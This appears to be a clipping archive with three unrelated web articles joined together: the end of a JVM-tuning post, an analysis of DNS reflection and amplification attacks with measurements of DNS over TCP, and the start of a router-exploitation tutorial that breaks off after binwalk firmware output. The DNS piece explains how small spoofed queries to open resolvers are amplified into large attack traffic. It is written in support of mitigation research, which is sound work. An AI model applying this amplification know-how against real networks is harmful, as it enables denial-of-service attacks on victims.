2. GC Algorithm
As on date (March 2020), there are 7 different GC algorithms in OpenJDK:
a. Serial GC
b. Parallel GC
c. Concurrent Mark & Sweep GC
d. G1 GC
e. Shenandoah GC
f. Z GC
g. Epsilon GC
If you don’t specify the GC algorithm explicitly, then JVM will choose the default algorithm. Until Java 8, Parallel GC is the default GC algorithm. Since Java 9, G1 GC is the default GC algorithm.
Selection of the GC algorithm plays a crucial role in determining the application’s performance. Based on our research, we are observing excellent performance results with Z GC algorithm. If you are running with JVM 11+, then you may consider using Z GC algorithm (i.e. -XX:+UseZGC). More details about Z GC algorithm can be found here.
Below table summarizes the JVM argument that you need to pass to activate each type of Garbage Collection algorithm.
GC Algorithm
JVM argument
Serial GC
-XX:+UseSerialGC
Parallel GC
-XX:+UseParallelGC
Concurrent Market & Sweep (CMS) GC
-XX:+UseConcMarkSweepGC
G1 GC
-XX:+UseG1GC
Shenandoah GC
-XX:+UseShenandoahGC
Z GC
-XX:+UseZGC
Epsilon GC
-XX:+UseEpsilonGC
3. Enable GC Logging
Garbage Collection logs contain information about Garbage Collection events, memory reclaimed, pause time duration, ... You can enable Garbage collection log by passing following JVM arguments:
From JDK 1 to JDK 8:
-XX:+PrintGCDetails -XX:+PrintGCDateStamps -Xloggc:{file-path}
From JDK 9 and above:
-Xlog:gc*:file={file-path}
Example:
-XX:+PrintGCDetails -XX:+PrintGCDateStamps -Xloggc:/opt/workspace/myAppgc.log

-Xlog:gc*:file=/opt/workspace/myAppgc.log
Typically GC logs are used for tuning garbage collection performance. However, GC logs contain vital micro metrics. These metrics can be used for forecasting application’s availability and performance characteristics. In this article we would like to highlight one such micrometric: ‘GC Throughput‘ (to read more on other available micrometrics, you may refer to this article). GC Throughput is the amount of time your application spends in processing customer transactions vs the amount of time it spends in processing GC activities. Say if your application’s GC throughput is 98%, then it means application is spending 98% of its time in processing customer activity, and the remaining 2% is spent in GC activity.
Now let’s look at the heap usage graph of a healthy JVM:

Fig: Healthy JVM’s heap usage graph (generated by https://gceasy.io)
You can see a perfect saw-tooth pattern. You can notice that when Full GC (red triangle) runs, memory utilization drops all the way to bottom.
Now let’s look at the heap usage graph of a sick JVM:

Fig: Sick JVM’s heap usage graph (generated by https://gceasy.io)
You can notice towards the right end of the graph, even though GC repeatedly runs, memory utilization isn’t dropping. It’s a classic indication that the application is suffering from some sort of memory problem.
If you take a closer look at the graph, you will notice that repeated full GC’s started to happen right around 8 am. However, the application starts to get OutOfMemoryError only around 8:45 am. Till 8 am, the application’s GC throughput was about 99%. But right after 8 am, GC throughput started to drop down to 60%. Because when repeated GC runs, the application wouldn’t be processing any customer transactions and it will only be doing GC activity. As a proactive measure, if you notice GC throughput starts to drop, you can take out the JVM from the load balancer pool. So that unhealthy JVM will not process any new traffic. It will minimize the customer impact.

Fig: Repeated Full GC happens way before OutOfMemoryError
You can monitor GC related micrometrics in real time, using GCeasy REST API.
4. -XX:+HeapDumpOnOutOfMemoryError, -XX:HeapDumpPath
OutOfMemoryError is a serious problem that will affect your application’s availability/performance SLAs. To diagnose OutOfMemoryError or any memory-related problems, one would have to capture heap dump right at the moment or few moments before the application starts to experience OutOfMemoryError. As we don’t know when OutOfMemoryError will be thrown, it’s hard to capture heap dump manually at the right around the time when it’s thrown. However, capturing heap dumps can be automated by passing following JVM arguments:
 -XX:+HeapDumpOnOutOfMemoryError and -XX:HeapDumpPath={HEAP-DUMP-FILE-PATH}
In ‘-XX:HeapDumpPath’, you need to specify the file path where heap dump should be stored. When you pass these two JVM arguments, heap dumps will be automatically captured and written to a defined file path, when OutOfMemoryError is thrown. Example:
-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/crashes/my-heap-dump.hprof
Once heap dumps are captured, you can use tools like HeapHero, EclipseMAT to analyze heap dumps.
More details around the OutOfMemoryError JVM arguments can be found in this article.
5. -Xss
Each application will have tens, hundreds, thousands of threads. Each thread will have its own stack. In each thread’s stack following information are stored:
a. Methods/functions that are currently executed
b. Primitive datatypes
c. Variables
d. object pointers
e. return values.
Each one of them consumes memory. If their consumption goes beyond a certain limit, then StackOverflowError is thrown. More details about StackOverflowError & it’s solution can be found in this article. However, you can increase the thread’s stack size limit by passing -Xss argument. Example:
-Xss256k
If you set this -Xss value to a huge number, then memory will be blocked and wasted. Say suppose you are assigning -Xss value to be 2mb whereas, it needs only 256kb, then you will end up wasting huge amount of memory, not just 1792kb (i.e. 2mb – 256kb). Do you wonder why?
Say your application has 500 threads, then with -Xss value to be 2mb, your threads will be consuming 1000mb of memory (i.e. 500 threads x 2mb/thread). On the other hand, if you have allocated -Xss only to be 256kb, then your threads will be consuming only 125mb of memory (i.e. 500 threads x 256kb/thread). You will save 875mb (i.e. 1000mb – 125mb) of memory per JVM. Yes, it will make such a huge difference.
Note: Threads are created outside heap (i.e. -Xmx), thus this 1000mb will be in addition to -Xmx value you have already assigned. To understand why threads are created outside heap, you can watch this short video clip.
Our recommendation is to start from a low value (say 256kb). Run thorough regression, performance, and AB testing with this setting. Only if you experience StackOverflowError then increase the value, otherwise consider sticking on to a low value. 
6. -Dsun.net.client.defaultConnectTimeout and -Dsun.net.client.defaultReadTimeout
Modern applications use numerous protocols (i.e. SOAP, REST, HTTP, HTTPS, JDBC, RMI...) to connect with remote applications. Sometimes remote applications might take a long time to respond. Sometimes it may not respond at all.
If you don’t have proper timeout settings, and if remote applications don’t respond fast enough, then your application threads/resources will get stuck. Remote applications unresponsiveness can affect your application’s availability. It can bring down your application to grinding halt. To safeguard your application’s high availability, appropriate timeout settings should be configured.
You can pass these two powerful timeout networking properties at the JVM level that can be globally applicable to all protocol handlers that uses java.net.URLConnection:
1. sun.net.client.defaultConnectTimeout specifies the timeout (in milliseconds) to establish the connection to the host. For example, for HTTP connections, it is the timeout when establishing the connection to the HTTP server.
2. sun.net.client.defaultReadTimeout specifies the timeout (in milliseconds) when reading from the input stream when a connection is established to a resource.
Example, if you would like to set these properties to 2 seconds:
-Dsun.net.client.defaultConnectTimeout=2000
-Dsun.net.client.defaultReadTimeout=2000
Note, by default values for these 2 properties is -1, which means no timeout is set. More details on these properties can be found in this article.
7. -Duser.timeZone
Your application might have sensitive business requirements around time/date. For example, if you are building a trading application, you can’t take transaction before 9:30 am. To implement those time/date related business requirements, you might be using java.util.Date, java.util.Calendar objects. These objects, by default, picks up time zone information from the underlying operating system. This will become a problem; if your application is running in a distributed environment. Look at the below scenarios:
a. If your application is running across multiple data centers, say, San Francisco, Chicago, Singapore – then JVMs in each data center would end up having different time zone. Thus, JVMs in each data center would exhibit different behaviors. It would result in inconsistent results.
b. If you are deploying your application in a cloud environment, applications could be moved to different data centers without your knowledge. In that circumstance also, your application would end up producing different results.
c. Your own Operations team can also change the time zone without bringing to the development team’s knowledge. It would also skew the results.
To avoid these commotions, it’s highly recommended to set the time zone at the JVM using the -Duser.timezone system property. Example if you want to set EDT time zone for your application, you will do:
-Duser.timezone=US/Eastern
Conclusion
In this article, we have attempted to summarize some of the important JVM arguments and their positive impacts. We hope you may find it helpful.
SHARE THIS:
	Tweet 


.
LIKE THIS:
Loading...
 
GCeasy Team
 Author archive 
 March 18, 2020 
|Educational - Best Practises, News
 ̈ Previous post 
© Next post 
Leave a Reply 

﻿http://www.circleid.com/posts/20130820_a_question_of_dns_protocols/ 
A Question of DNS Protocols
Created:
8/21/2013 8:09:08 AM
Updated:
8/21/2013 8:09:27 AM
Author:

Tags:
DNS rfc protocol-analysis


A Question of DNS Protocols 

One of the most prominent denial of service attacks in recent months was one that occurred in March 2013 between Cloudflare and Spamhaus. One writeup of this attack can be found here . I'm not sure about the claim that this attack "almost broke the Internet," but with a peak volume of attack traffic of some 120Gbps, it was a very significant attack nevertheless.
How did the attackers generate such massive volumes of attack traffic? The answer lies in the Domain Name System (DNS). The attackers asked about domain names, and the DNS system answered. Something we all do all of the time of the Internet. So how can a conventional activity of translating a domain name into an IP address be turned into a massive attack?
There are a few aspects of the DNS that make it a readily coercible means of generating an attack;
· The DNS makes use of a very simple UDP transaction, where the clients sends a query to a resolver and the resolver sends back a response.
· Within the DNS it is possible to send a relatively small query packet and get the resolver to reply with a much larger response. The DNS resolver becomes, in effect, a traffic "amplifier".
· There are a lot of so-called "open resolvers, who are willing to respond to queries from any clients on the Internet. In other words, these resolvers will accept DNS queries from anyone and send DNS responses to anyone. (The Open Resolver project claims that there are some 28 million open resolvers on the Internet at present. That's a disturbingly high number if you are worried about ways to subvert the DNS to launch a platform for such attacks.)
· Finally, it appears that way too few networks implement source address egress filtering, as described in BCP38. This is a packet filtering mechanism, which if universally implemented, would make it far more challenging to mount attacks that relied on essentially lying about the source address in an IP packet. A network could only emit packets whose source address is reachable via the same network.
So the combination of these four factors produces a comprehensive vulnerability for the Internet. In performing experiments about the behaviour of the DNS we see a background level of DNS "probes" that contain a query for "ANY", often querying the domain ISC.ORG. In this case the original UDP request of 64 bytes generates a UDP response of 3,475 bytes, or an amplification factor of 54. If an attacker can send this UDP query to 100 of these open resolvers each second, using a source address of the intended victim, then the attacker will be generating a query traffic volume of some 51Kbps, and victim will receive an incoming traffic load of 2.78Mbps. If you then enlist a bot army to replicate this simple attack one thousand-fold, then the attack traffic volume has exceeded a gigabit per second. With DNSSEC the response sizes get larger, and the unwitting accomplices in such attacks can expand to include the authoritative name servers of DNSSEC-signed domain.
The problem is that, in flight, the traffic looks like all other traffic. These are simple DNS responses, and the network carries DNS responses as one of the more common packet types. So simple filtering is simply not an option, and we need to look deeper to see how we could mitigate this rather worrisome vulnerability. This has been a long-standing issue. (For example, this was a presentation from May 2006 on this topic at an IETF meeting. The only difference is that the number of open resolvers has subsequently jumped from 500,000 to in excess of 25 million!)
There have been a number of threads of discussion on this topic.
One thread of conversation goes along the lines that if everyone implemented the measures described in BCP38, this would prevent endpoints from emitting DNS query packets with a false source address, and thereby preventing these reflection attacks to be mounted using the DNS. Of course this is a long standing conversation that is older than BCP38 itself. BCP38 is now 13 years old as a document, and the somewhat worrisome observation is that nothing much appears to have happened in terms of improving the situation about source address spoofing over the past 13 years, so there is not a lot of optimism that anything will change in the coming months, if not years.
There is a conversation thread that says that resolvers should implement response rate limiting (RRL), and silently discard repetitive queries that exceed some locally configured threshold. While this is relatively effective in the case of authoritative name servers, it is less effective in the face of a massive pool of open recursive resolvers, as in this latter case the query load can be spread across the entire pool so that each resolver may not experience a detectable level of repeated queries. It is also possible to use a very pool of authoritative name servers in the same manner. However, this consideration does not weaken the advice that authoritative name servers should implement RRL in any case. (There is an informative presentation by Randy Bush at the 2013 APRICOT conference , illustrating the before and after state of the application of RRL for an authoritative name server.)
Another thread of conversation is to shutdown the open recursive resolvers. The open resolver project is working on a "name and shame" approach to the problem, and is hopeful that by allowing individual resolver operators to check their own status, that these resolvers will be closed down. Like the universal adoption of BCP38, it's hard to be overly optimistic about this approach. Part of the issue is that there is a large volume of unmanaged or semi-managed systems connected to the Internet, and the vulnerabilities they create are not necessarily known to the parties who deployed these systems in the first place. For example, one way to create more robust "plug and play" systems is to reduce the amount of environmental configuration that needs to be loaded into such systems in the first place. Equipping such standalone units with their own DNS resolver appears to be a way to remove an additional configuration element from the unit. The downside is that if these units are configured as an open recursive resolver, then they become part of the overall problem of the massive population of open resolvers on today's Internet.
The behaviour of the DNS where a small-sized query generates a large response is one that appears to be intrinsic to the DNS, and particularly DNSSEC. If we want some form of security in the DNS so that the client can be assured that the response they receive is authentic and current, and has not been tampered with in any way, then the overheads of cryptographic signature blocks and the size these signature blocks take up appears to be an intrinsic part of the DNS' security architecture. So we want a lightweight fast DNS, so we appear like using UDP, coupled with an ubiquitous distribution of recursive resolvers and the associated resolver caches, but we also want DNS responses that can be verified, so we like DNSSEC. So the responses get larger, and the outcome is that the DNS is a highly effective platform for massive traffic attacks where there is a very limited space to mitigate the associated risks.
If we want to close the door on using the DNS to mount large scale attacks, there does not appear to be much space left to manoeuver here.
However, there is a conversation that has not quite petered out yet. That conversation is about the use of UDP in the DNS.
The original specification of the name system (RFC1123) allowed for the use of both UDP and TCP as the transport service for DNS queries and responses. The relevant part of this specification reads:
"... it is also clear that some new DNS record types defined in the
future will contain information exceeding the 512 byte limit that
applies to UDP, and hence will require TCP. Thus, resolvers and
name servers should implement TCP services as a backup to UDP
today, with the knowledge that they will require the TCP service
in the future."
Why 512 bytes? The 512 byte limit was based on the IPv4 Host Requirement Specification (RFC1122), where it is required that all IPv4 systems must accept an IP packet that is at least 576 octets in size. Allowing for 20 bytes of IP header, 8 bytes of UDP headers and room for the maximum of 40 bytes of IP options, this implies that the maximum payload in a UDP packet that will be accepted by all IPv4 hosts is restricted to 512 bytes.
It should be noted that it is theoretically possible that there are links that do not support IP packets of 576 bytes in size, so even these 576 byte IP packets may possibly be fragmented in flight. The limit being referred to here is the largest (possibly reassembled) packet that a host will assuredly accept.
Now of course it is possible to generate larger packets in IPv4, to a theoretical maximum of 65,535 bytes in size, which accommodates a UDP payload of 65,507 bytes, but such larger packets will probably be fragmented in flight. In such a case, when this is combined with typical firewall behaviour, then the trailing packet fragments may not be passed onward to a client at all, as many firewall configurations use acceptance rules based on UDP and TCP port address. As the trailing fragments of a fragmented IP datagram have no UDP or TCP packet header, this leaves with the firewall with a quandary. Should the firewall accept all IP fragments? In this case the security role of the firewall may be compromised through the transmission of fragments that form part of some form of hostile attack. Or should the firewall discard all IP fragments? In this case a sender of a large packet should be aware that if there is fragmentation, then the trailing packet fragments may not be passed to the receiver. So with the two considerations that hosts are not required to accept UDP datagrams that are larger than 576 bytes in size, and firewalls may discard trailing fragments of an IP datagram, the original DNS response to this situation was to limit all of its UDP responses to 512 bytes in size, and always use TCP as the backup plan if the DNS response was larger than 512 bytes in size.
However, clients may not know in advance that a DNS response is larger than 512 bytes in size. To signal to a client that it should use TCP to retrieve the complete DNS response, the DNS resolver will respond in UDP with a partial response, and set the "truncated" bit in the response.
We continued for some years with this approach. The DNS used UDP for the bulk of its transactions, which all fitted within the 512 byte limit, and for the relatively infrequent case where larger DNS responses were being generated, the UDP response was truncated, and the client was expected to repeat the question over a TCP connection.
This was not an altogether comfortable situation when we then considered adding security credentials to the DNS. The inclusion of digital signatures in DNS responses implied that very few DNSSEC responses would fit within this 512 byte limit. But if the process of switching to TCP was to respond to the UDP query with a UDP response that essentially said "Please use TCP" then this adds a considerable delay to the DNS function. Each query would now involve a minimum of 3 round-trip time interactions with the server rather than just the single round trip time interval for UDP (a TCP transaction still includes one transaction for the UDP query and truncated UDP response, one for the TCP connection establishment handshake, and one for the TCP query and response). The next refinement of the DNS was to include a way to signal that a client was able to handle larger DNS responses in UDP.
As pointed out in RFC5966:
"Since the original core specifications for DNS were written, the
Extension Mechanisms for DNS (EDNS0 [RFC2671]) have been introduced.
These extensions can be used to indicate that the client is prepared
to receive UDP responses larger than 512 bytes. An EDNS0-compatible
server receiving a request from an EDNS0-compatible client may send
UDP packets up to that client's announced buffer size without
truncation."
EDNS0 allows for the UDP-based DNS response to grow to far higher sizes. The result of this extension is that it appears that the DNS largely uses UDP and EDNS0 is used to allow for the larger sized responses. TCP is now often regarded as a somewhat esoteric option, only being used for zone transfer operations, and if the zone does not want to support zone transfers as a matter of local policy, then it is commonly thought that the role of TCP is no longer essential.
Section 6.1.3.2 of the Host Requirements Specification that addresses requirements for applications and support (RFC1123) states:
DNS resolvers and recursive servers MUST support UDP, and SHOULD
support TCP, for sending (non-zone-transfer) queries.
In the world of standards specifications and so-called normative language, that "SHOULD" in the above text is different to a "MUST." It's a little stronger than saying "well, you can do that if you want to", but it's a little weaker than saying "You really have to do this. There is no option not to." Little wonder than some implementors of DNS resolvers and some folk who configure firewalls came to the conclusion that DNS over TCP was an optional part of the DNS specification that need not necessarily be supported.
But DNS over TCP is not only a tool to allow for large DNS responses. If we review the preconditions for the use of the DNS in large scale reflector attacks, the widespread support of UDP for large packet responses, and the relatively sparse use of BCP38, allows an attacker to mount a reflection attack by co-opting a large set of open resolvers to send their responses to the target system, by using UDP queries whose IP source address is the IP address of the intended victim.
TCP does not have the same vulnerability. If an attacker were to attempt to open up a TCP session using an IP source address of the intended victim, the victim would receive a short IP packet (IP and TCP header only, which is a 40 byte packet) containing only the SYN and ACK flags set. As the victim system has no pre-existing state for this TCP connection, it will discard the packet. Depending on the local configuration, it may send a TCP RESET to the other end to indicate that it has no state, or the discard may be completely silent. This removes one of the essential preconditions for a reflector amplification attack. If the attack traffic with the spoofed source address of the intended victim uses a 40 byte SYN TCP packet then the victim will receive a 40 byte SYN/ACK TCP packet. The DNS attack amplification factor would be effectively removed.
If the DNS represents such a significant vulnerability for the Internet through these UDP-based reflection attacks, then does TCP represent a potential mitigation? Could we realistically contemplate moving away from the ubiquitous use of ENDS0 to support large DNS responses in UDP, and instead use DNS name servers that limit the maximal size of their UDP responses, and turn to TCP for larger responses?
Again, lets turn to RFC5966:
"The majority of DNS server operators already support TCP and the
default configuration for most software implementations is to support
TCP. The primary audience for this document is those implementors
whose failure to support TCP restricts interoperability and limits
deployment of new DNS features."
The question we are looking at here is, can we quantify the extent to which DNS resolvers are capable of using TCP for DNS queries and responses? How big is this "majority of DNS server operators" being referred to above?
The Experiment
We conducted an experiment using a modified DNS name server, where the maximal UDP packet size, was configured to 512 bytes, and then set up an experiment where a simple query to resolve a DNS name would generate a response what could not fit within 512 bytes.
While this is relatively easy if the query includes DNSSEC, if we want to set up a condition where all DNS responses are larger than 512 bytes for a domain then we need to use a slightly different approach. The approach used in this iteration of the experiment is to use the DNS name alias function, the CNAME record.
Here is a sample zone:
$TTL 1h
@       IN      SOA     nsx.dotnxdomain.net. research.apnic.net.  (
                                2013011406      ; Serial
                                3600            ; Refresh
                                900             ; Retry
                                1               ; Expire
                                1 )             ; Minimum
        IN      NS      nsz1.z.dotnxdomain.net.
z1      IN      A       199.102.79.186
*       IN      A       199.102.79.186
4a9c317f.4f1e706a.6567c55c.0be33b7b.2b51341.a35a853f.59c4df1d.3b069e4e.87ea53bc.
2b4cfb4f.987d5318.fc0f8f61.3cbe5065.8d9a9ec4.1ddfa1c2.4fee4676.1ffb7fcc.ace02a11.
a3277bf4.2252b9ed.9b15950d.db03a738.dde1f863.3b0bf729 IN CNAME 33d23a33.3b7acf35.
9bd5b553.3ad4aa35.09207c36.a095a7ae.1dc33700.103ad556.3a564678.16395067.
a12ec545.6183d935.c68cebfb.41a4008e.4f291b87.479c6f9e.5ea48f86.7d1187f1.7572d59a.
9d7d4ac3.06b70413.1706f018.0754fa29.9d24b07c
33d23a33.3b7acf35.9bd5b553.3ad4aa35.09207c36.a095a7ae.1dc33700.103ad556.3a564678.
16395067.a12ec545.6183d935.c68cebfb.41a4008e.4f291b87.479c6f9e.5ea48f86.7d1187f1.
7572d59a.9d7d4ac3.06b70413.1706f018.0754fa29.9d24b07c IN A 199.102.79.187
The use of the combination of long label strings and a CNAME construct forces a large response, which, in turn, triggers DNS to send a truncated UDP response in response to a conventional query for the address record for the original domain name. The truncated UDP response should force the client resolver to open a TCP session with the name server, and ask the same query again.
To ensure that the authoritative name server directly processed every name query we used unique labels for each presented experiment, and ensured that the DNSSEC singed zones were also unique. This ensures that local DNS resolver caches cannot respond to these name queries.
The first question we are interested is: How many clients were able to successfully switch to TCP following the receipt of a truncated response in UDP?
We conducted an experiment by embedding a number of test cases inside an online ad, and over 8 days at the end of July 2013 we presented these tests to 2,045,287 end clients. We used four experiments. Two experiments used a name where the query and response would fit within a 512 byte payload, as long as the query did not include a request for DNSSEC. One of these domain names was unsigned, while the other was signed. The other two experiments using the CNAME approach to ensure that the response would be larger than 512 bytes. Again, one zone was signed, while the other was unsigned.
Experiment
UDP queries
Truncated UDP responses
TCP responses
Truncated UDP to TCP fail
Short, unsigned
2,029,725
2
6
0
Short, signed
2,037,563
1,699,935 (83.4%)
1,660,754 (81.5%)
39,101 (1.9%)
Long, unsigned
2,023,205
2,021,212 (99.9%)
1,968,927 (97.3%)
52,285 (2.6%)
Long, signed
2,033,535
2,032,176 (99.9%)
1,978,396 (97.3%)
53,780 (2.6%)
This data appears to point to a level of failure to followup from a truncated UDP response to a TCP connection of some 2.6% of clients.
That level of failure to switch from a truncated UDP response to re-phrase the query over TCP is large enough to be significant. The first question is this failure due to some failure of the DNS authoritative name server or a failure of the client resolver? If the name server is experiencing a high TCP session load it will reject new TCP sessions. The way it does this is to respond to incoming TCP session establishment packets with a RESET. We saw no evidence of this session overload behaviour in the packet traces that were gathered by the authoritative name server. So the TCP failure looks to be some issue closer to the client resolver than to the authoritative name server.
We can also look at this from the perspective of the set of visible resolvers. How many resolvers will switch to use TCP when they receive a UDP response that is truncated? Before looking at the results, it needs to be noted that the only resolvers that are exposed in this experiment are those resolvers that query our authoritative name server (visible resolvers). If a resolver is configured to use a recursive resolver, then its behaviour will not be directly exposed in this experiment. It should also be noted that even when the visible recursive resolver is forced to use TCP to query the authoritative name server, the recursive resolver may still relay the response back to its client via UDP, using EDNS0 to ensure that the larger UDP response is acceptable to the client.
The 2 million clients used a total of 80,505 visible resolvers. Some 13,483 resolvers, or 17% of these visible resolvers did not generate any TCP transactions with the authoritative name server. These 13,483 UDP-only resolvers made a total of 4,446,670 queries, and of these some 4,269,495 responses were truncated, yet none of these resolvers switched to TCP.
There is a second class of filtering middleware that operates on incoming traffic. In such cases the authoritative server will see an incoming TCP SYN packet to establish the DNS connection, and the server will response with a SYN+ACK packet. Because this packet will be blocked by the filtering middleware, it will never get passed through to the resolver client, and the TCP connection will not be established. This SYN-only behaviour was observed in just 337 resolvers, which represents some 0.4% of the set of visible resolvers. These resolvers generated a total of 1,719,945 queries, and received 1,575,328 truncated UDP responses.
Why is the client-level TCP failure rate at some 2% - 3% of clients, while at the resolver level the TCP failure rate is some 17% of visible resolvers? There are at least three possible reasons for this.
Firstly, in some cases we observe service providers using DNS forwarder farms, where queries are spread across a number of query engines. When a DNS query is re-phrased using TCP, it may not use the same forwarder to make the query.
Secondly, we should factor in end client failover to another DNS resolver that can support DNS transactions over TCP. Most clients are configured with multiple resolvers, and when one resolver fails to provide a response the client will ask the query of the second and subsequent resolvers in its resolver set. If any of the visible resolvers associated with the resolvers listed in the client's resolver set are capable of using TCP, then at some stage we will see a TCP transaction at the authoritative name server. In this more prevalent case of TCP failure, either the resolver itself is not capable of generating a DNS query using TCP (due presumably to local limitations in the resolver software or local configuration settings), or some network middleware is preventing the resolver performing outgoing TCP connections to port 53.
Thirdly, the distribution of end clients across the set of visible resolvers is not even, and while some resolvers, such as the set used by Google's Public DNS service serve some 7% of all end clients, others serve a single end client. We observed that some 53,000 experiments, out of a total of some 2 million experiments, failing to complete a TCP-based DNS resolution, so it is also possible that these 13,483 visible resolvers that do not support TCP queries are entirely consistent in volume with this level of end client failure to resolve the experiment's DNS label.
There is a slightly different way to look at this question. While we saw some 53,000 experiments that failed to complete the DNS resolution at all, how many experiments were affected by this deliberate effort to force resolvers to use TCP? How many clients were impacted in terms of longer DNS resolution time through the use of DNS resolvers that fail to switch to use TCP?
Experiment
UDP queries
Truncated UDP responses
TCP responses
Truncated UDP to TCP fail
Used TCP-Fail Resolvers
Long, unsigned
2,023,205
2,021,212 (99.9%)
1,968,927 (97.3%)
52,285 (2.6%)
124,881 (6.1%)
Long, signed
2,033,535
2,032,176 (99.9%)
1,978,396
(97.3%)
53,780 (2.6%)
129,555 (6.4%)
This table shows that slightly more than 6% of all clients used a resolver that was unable to repeat the DNS query over TCP. Some 75,000 clients used an alternate resolver that was capable of performing the TCP query, while the remainder were unable to resolve the DNS name at all.
After running this initial experiment, we considered the use of the CNAME construct to inflate the DNS response to more that 512 bytes, and wondered if this additional DNS indirection created some problems for some resolver clients. Another approach to coerce client resolvers to use TCP is to modify the name server code and drop its UDP maximum size to 275 octets, so that the name server will truncate the UDP response for any response of 276 bytes or larger. In this way a DNS query for the short unsigned name would fit within the new UDP limit, but in all other cases the UDP response would be truncated.
The results we saw for this second experiment, which removed the CNAME entry, and used an authoritative name server with a 275 byte UDP payload limit, with three days of collected data, are summarized in the following table.
Experiment
UDP queries
Truncated UDP responses
TCP responses
Truncated UDP to TCP fail
Short, unsigned
704,458
0
3
0
Short, signed
706,975
581,081 (82.2%)
568,704 (80.4%)
12,377 (1.8%)
Long, unsigned
703,384
571,182 (81.3%)
556,835 (79.2%)
14,977 (2.1%)
Long, signed
706,553
579,639 (82.0%)
564,716 (79.9%)
14,923 (2.1%)
These results are largely consistent with the results of the original experiment. The failure rate is slightly lower, and this may lead to one further possible reason why a DNS resolver will fail to re-phrase the query in TCP following making a query in UDP. DNS Resolvers may be configured to operate within the parameters of a maximal elapsed time to resolve a DNS name, and once this time has elapsed they may simply abort their efforts to resolve a DNS name. With the CNAME construct we have seen some resolvers perform an additional query. When the query the original DNS name, the name server returns the CNAME record and the A record for the target of the CNAME. A small proportion of resolvers appear not to use the supplied A record in the response, and take the CNAME target name and launch a second query for the A record of this CNAME target name. The increase in elapsed time to perform another DNS query may have some bearing on the triggering of the resolver client's maximum resolution timer. It appears that the number of clients who would be impacted by a forced switch to TCP is of the order of 2% of clients.
Conclusion
The original specification of the DNS called for resolvers to use UDP when the response was 512 bytes or smaller, and TCP was to be used for larger DNS transactions. DNS clients would interpret the truncated flag in a DNS UDP response to trigger a re-query using TCP.
With the introduction of EDNS0, clients can now signal their capability to accept larger UDP datagrams, with the result that the fallback to TCP for large DNS responses is used less frequently, to the extent that there is now a concern that a significant set of clients cannot resolve a DNS name if that resolution operation is required to occur using TCP.
However, DNS UDP is being used in various forms of malicious attack, using DNS queries where the response is far larger than the query. The combination of source address spoofing and DNS over UDP is presenting us with some significant issues. For that reason there is a renewed consideration of the viability of reverting to TCP for various forms of larger DNS responses, which effectively prevents source address spoofing in the DNS query / response interaction.
In this experiment we've looked at the impact a forced switch to DNS over TCP would have on clients. In particular, what proportion of clients would no longer be able to complete a DNS name resolution process if the process necessarily involved the use of TCP? Our measurements of a sample of 2 million clients in early August 2013 points to a DNS resolution failure rate for some 2% of clients.
The picture for individual DNS resolvers appears to be somewhat worse, in that some 17% of visible resolvers do not successfully followup with a TCP connection following the reception of a truncated UDP response.
While that 17% number is surprisingly high, there are two mitigating factors here.
It appears that clients make use of multiple DNS resolvers in their local DNS configuration, so that failure of an initially selected resolver to respond to a query due to lack of support for TCP may be resolved by the clients selecting the next resolver from their local resolver set. For this set of clients, which appears to encompass some 4% of the total client population, the penalty is increased DNS resolution time, where the resolution of a name requires the client to failover to the other resolvers listed in their local DNS resolver set.
Secondly, the more intensively used visible DNS resolvers appear to be perfectly capable of supporting TCP-based queries, so the issues with TCP support in the DNS appear to be predominately concerned with resolvers that are used by a relatively small pool of end clients.
By Geoff Huston , Author & Chief Scientist at APNIC. (The above views do not necessarily represent the views of the Asia Pacific Network Information Centre.)
Related topics: Cyberattack , Cybercrime , DDoS , DNS , Internet Protocol , Security
 
﻿http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-1/ 
/dev/ttyS0 » Blog Archive » Exploiting Embedded Systems – Part 1
Created:
10/29/2011 1:40:12 PM
Updated:
10/29/2011 1:40:12 PM
Author:

Tags:
Embedded Exploit


So far our tutorials have focused on extracting file systems, kernels and code from firmware images. Once we have a firmware image dissected into something we can work with, the next step is to analyze it for vulnerabilities.
Our target is going to be the Trendnet TEW-654TR. We’ll be examining many different security holes in this device, but for part 1 we will focus on gaining initial access given only a login page and nothing more. We will assume that we do not have physical access to the target device, nor to any other device for testing or analysis.
If you don’t already have them, you will need to install binwalk and the firmware mod kit. 

Let’s get started!
OK, we’ve found a target and we can see from the login page that it is a Trendnet TEW-654TR. It always helps to gather some information about your target, so let’s look at some of the features listed on Trendnet’s product page:
1. Supports Router, Access Point and AP Client modes
2. Network Address Translation (NAT) and Stateful Packet Inspection (SPI) protect against Internet attacks
3. Easy Web browser remote management
While we’re there, let’s also head to Trendnet’s support site and download a copy of the latest firmware update (v1.10 build 12 at the time of this writing). 
Running the firmware image through binwalk reveals a pretty standard looking Linux firmware layout:
eve@eve:~/TEW654TR$ binwalk TEW-654TRA1_FW110B12.bin -v

Scan Time:    Sep 22, 2011 @ 20:19:59
Magic File:   /usr/local/etc/binwalk/magic.binwalk
Signatures:   70
Target File:  TEW-654TRA1_FW110B12.bin
MD5 Checksum: 523c7c7f158930894b7842949ff55c48

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
64        	0x40      	uImage header, header size: 64 bytes, header CRC: 0xE5BE5107, created: Mon May 30 09:00:10 2011, image size: 883118 bytes, Data Address: 0x80000000, Entry Point: 0x80282000, data CRC: 0xB8911044, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: Linux Kernel Image
128       	0x80      	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2746476 bytes
917568    	0xE0040   	Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 2776952 bytes, 361 inodes, blocksize: 65536 bytes, created: Mon May 30 09:00:17 2011
917687    	0xE00B7   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
942232    	0xE6098   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
964027    	0xEB5BB   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
986860    	0xF0EEC   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1009863   	0xF68C7   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1028221   	0xFB07D   	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1050976   	0x100960  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 47596 bytes
